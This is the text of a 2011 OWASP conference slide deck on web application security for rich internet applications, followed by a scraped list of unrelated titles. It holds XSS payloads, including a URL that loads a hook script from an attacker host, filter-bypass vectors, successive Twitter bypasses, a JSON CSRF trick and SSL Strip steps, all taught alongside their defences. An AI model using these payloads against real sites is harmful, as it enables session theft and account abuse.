Application Security for RIAs

John Wilander, & OWASP

Wednesday, November 2, 2011

Frontend developer atSvenska Handelsbanken

Researcher in application security

Co-leader OWASP Sweden

OWASP == The Open Web Application Security Project

Cheat sheets, tools, code, guidelines

https://owasp.org

@johnwilander

johnwilander.com (music)

ÅåÄäÖö

OWASP Top 10Top web applicationsecurity risks 2010

1. Injection2. Cross-Site Scripting (XSS)3. Broken Authentication and Session

Management4. Insecure Direct Object References5. Cross-Site Request Forgery (CSRF)6. Security Misconfiguration7. Insecure Cryptographic Storage8. Failure to Restrict URL Access9. Insufficient Transport Layer Protection10.Unvalidated Redirects and Forwards

”Do I have to care?”

From: WhiteHat Website Security Statistic Report, Winter 2011

Likelihood of ≥ 1 vulnerability on your site

Per extension

.asp .aspx .do .jsp .php

Sites having had ≥ 1serious vulnerability

74 % 73 % 77 % 80 % 80 %

Sites currently having ≥ 1serious vulnerability

57 % 58 % 56 % 59 % 63 %

From: WhiteHat Website Security Statistic Report, Spring 2010Wednesday, November 2, 2011

But we’re moving towards more

code client-side

From: IBM X-Force 2011 Mid-Year Trend and Risk Report

Client-Side, JavaScript Vulnerabilities

From: IBM X-Force 2011 Mid-Year Trend and Risk Report

Client-Side, JavaScript Vulnerabilities

• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)

• Clickjacking• Man-In-the-Middle SSL

Focus Today

XSS ...the hack that keeps on hacking

Cross-Site ScriptingTheory

Cross-Site

Scripting

Cross-Site ScriptingType 1, reflected

Cross-Site

Scripting

Phising

Cross-Site ScriptingType 2, stored

Cross-Site

Cross-Site ScriptingType 2, stored

Scripting

Cross-Site ScriptingType 0, DOM-based

Cross-Site

Scripting

Phising

Cross-Site ScriptingType 0, DOM-based

Phising

Cross-Site

Scripting

No server roundtrip!

Also, single-page interfacesmake injected scripts ”stick”in the DOM.

https://secure.bank.com/authentication#language=sv&country=SE

Never sent to server

Be careful when you usethis data on your page

https://secure.bank.com/authentication#language=<script src="http://attackr.se:

3000/hook.js"></script>&country=SE

Would you click this?

https://secure.bank.com/authentication#language=%3Cscript%20src%3D%22http%3A%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E%3C

%2Fscript%3E&country=SE

http://bit.ly/Yg4T32

Filter out <script>?

http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts

/** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, "");},

var ... , stripScriptsRe = /(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)/ig,

Filter out <script>?<img src=1 onerror=alert(1)>

¼script¾alert(¢XSS¢)¼/script¾

<video poster=javascript:alert(1)//

”C’mon, such attacks don’t really work,

do they?”

Yep, demo.

DOM-Based XSSTwitter September 2010

Full story athttp://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);

What does this code do?

”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returns”/johnwilander”

window.location = ”/johnwilander”initial ’/’ => keeps the domain but changes the path

Sotwitter.com/#!/johnwilanderbecomestwitter.com/johnwilander

Read more: http://kotowicz.net/absolute/

http://twitter.com/#!javascript:alert(document.domain);

Never sent to server=> DOM-based XSS

var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}

The Patch™

var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}

Replaces the first occuranceof the search string

The Patch™

http://twitter.com/#!javascript::alert(document.domain);

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);

The 2nd Patch™

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern

delimiters

Global match

Regexp patterndelimiters

Global match Ignore case

Regexp patterndelimiters

Were they done now?

http://twitter.com#!javascript&x58;alert(1)

HTML entity version of ’:’

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window);

The n:th Patch™(this one works)

And hey, Twitter is doing the right thing: https://twitter.com/about/security

Fix these issues properly with ...

Client-Side Encoding

https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize()

Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>

• $.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()

• $.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()

• $.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes

• $.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc

• $.encoder.encodeForURL()Encodes for safe usage in href etc

https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize()

Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>

• $.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()

• $.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()

• $.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes

• $.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc

• $.encoder.encodeForURL()Encodes for safe usage in href etc

Let’s do a short demo of that

Also, check out ...

Content Security Policyhttp://people.mozilla.com/~bsterne/

content-security-policy/

Only allow scripts from whitelisted domainsandonly allow scripts from files, i.e. no inline scripts

New HTTP Response Header Saying ...

'self' = same URL, protocol and port

X-Content-Security-Policy: default-src 'self'Accept all content including scripts only from my own URL+port

X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com

CSRFmy current favorite!

Cross-Site Request Forgery

Cross-Site

Request Forgery

Cross-Site Request Forgery

Cross-Site

Request Forgery

Phising

Is www.attackr.se allowed toload images like this:

Is www.attackr.se allowed toload images like this:

<img src=”https://secure.bank.com/authentication#language=sv&country=SE"

height=0 width=0 />

With image tags www.attackr.se can silentlysend HTTP GET requests to any domain

”Will restricting to HTTP POST save me?”

What’s on your mind? What’s on your mind?POST POST

I love OWASP!

John: I love OWASP!

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

John: I hate OWASP!

What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

There used to be a protection in web 1.5

Forced Browsingwizard-style

Shipment info ✉

Payment info $

Next Buy!

Shipment info ✉ Payment info $

Token 1 Token 2 Token 3

Token 3 Wednesday, November 2, 2011

State built up i steps, server roundtrip in-between

Token 3 Wednesday, November 2, 2011

Token 3

Couldn’t forge

request to

last ste

without a

valid token

But in RIAs ...

RIA & client-side state

{”purchase”: {}}

{”purchase”: { ”items”: [{}] }}

{”purchase”: { ”items”: [{},{}] }}

{”purchase”: { ”items”: [{},{}], ”shipment”: {} }}

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Can an attacker forge such a JSON structure?

CSRF possible?

</form>

</form>

</form>

Forms produce a request body that looks like this:

theName=theValue

... and that’s not valid JSON.

</form>

</form>

Produces a request body that looks like this:

{"id": 0, "nickName": "John","oneLiner": "I hate OWASP!","timestamp": "20111006"}//=dummy

... and that is acceptable JSON!

Demo POST CSRF against REST service

Demo XSS + CSRF with

The Browser Exploitation Frameworkhttp://beefproject.com/

Important in yourREST API

• Restrict HTTP method, e.g. POSTEasier to do CSRF with GET

• Restrict to AJAX if applicableX-Requested-With:XMLHttpRequestCross-domain AJAX prohibited by default

• Restrict media type(s), e.g. application/jsonHTML forms only allow URL encoded, multi-part and text/plain

Attacker may spoof headers via Flash proxy

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html

Double Submit

Double Submit(CSRF protection)

Anti-CSRF valueas cookie ...

... andrequest parameter

Cannot read theanti-CSRF cookie toinclude it as parameter

cookie ≠request parameter

Anti-CSRF cookie canbe generated client-side=> no server-side state

How To Get It Right

• Join your local OWASP chapterhttps://www.owasp.org/index.php/OWASP_Chapter

• Start following these fellas on Twitter:@WisecWisec @0x6D6172696F @garethheyes @internot_ @securityninja @jeremiahg @kkotowicz @webtonull @manicode @_mwc

• Start hacking – it’s fun!Best place to start? Your own apps of course.Just stay legal ;)

@johnwilanderjohn.wilander@owasp.org

http://appsandsecurity.blogspot.com

Clickjacking and MItMif there’s time

Clickjacking Demo

X-Frame-Optionshttp://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-

clickjacking-defenses.aspxhttp://tools.ietf.org/html/draft-

gondrom-frame-options-01

No page can load me in an iframeoronly my own domain can load me in an iframe

X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

(Coming:X-Frame-Options: ALLOW-FROM [list])

MItM Demo

Moxie’s SSL Strip

Terminates SSL

Changes https to http

Normal https to the server

Acts as client

http https

Moxie’s SSL Striphttp https

Secure cookie?

Encoding, gzip?

Cached content?

Ongoing sessions?

Moxie’s SSL Strip

Strip secure attribute off all cookies

Strip off all request encodings

Strip off all if-modified-since in request

302 back to same page, set-cookie expired

http https

Secure cookie?

Encoding, gzip?

Cached content?

Ongoing sessions?

SSL Strip & Torlogin.yahoo.com

GmailHotmail

PayPal

11450139

In 24 h

Tor node

Tor nodeTor nodeTor node

Tor exit node with SSL Strip

HTTP Strict Transport Security

http://tools.ietf.org/html/draft-ietf-websec-strict-transport-sec-02

Require SSL without warnings for X seconds aheadandpotentially do the same for my subdomains too

Strict-Transport-Security: max-age=86400

Strict-Transport-Security: max-age=86400; includeSubdomains

W3C Web Application Security Working Grouphttp://www.w3.org/2011/webappsec/

Application Security for RIAs

Technology

Database Application Security Models Database Application Security Models 1

Application Security

Application security overview

Application Security Pitfalls

Women security application

Security Build Application Security into the Entire SDLC · 2018-09-06 · Security Brochure Build Application Security into the Entire SDLC The Fortify suite of application security

RIAS-2 Score Report - Welcome to Psychological … S.pdf · RIAS-2 Score Report 3 Sample Client (SC) 02/29/2016 RIAS-2 Profiles RIAS-2 Subtest T Scores RIAS-2 Indexes

Designing SAP Application Security - United States · PDF fileTitle: Designing SAP Application Security Author: Protiviti Subject "SAP, SAP security, SAP application security, SAP

MANAGING APPLICATION SECURITY...AN APPLICATION SECURITY PROGRAM MANAGING APPLICATION SECURITY PAGE 13 What do you use to track the effectiveness of your application security program?

Web Application Security

Application Security Debt & Application Interest Rates

Certified Application Certified Application Security Engineer

OWASP Application Security – Building and Breaking ... · Ralph Durkee OWASP Application Security 2015 (c) Creative Commons 3.0 5 Agenda Why Application Security? Application Penetration

Application Security Tools

Application Security Program

Network Security Application Security Security Management

Rias Pengantin Jogja, Rias Pengantin Terbaik Di Jogja, Rias Pengantin Jogja Terbaik

Los Angeles RIAs Top Cyber Security Concerns (SlideShare)

Data and Application Security for Distributed Application ...candan/papers/chapterfinal.pdf · Data and Application Security for Distributed Application ... Security for Distributed

MANAGING APPLICATION SECURITY - OWASP · AN APPLICATION SECURITY PROGRAM MANAGING APPLICATION SECURITY PAGE 12 VALIDATE CONTROL . 46% OF APPLICATION-LEVEL RISKS ARE NOT COVERED BY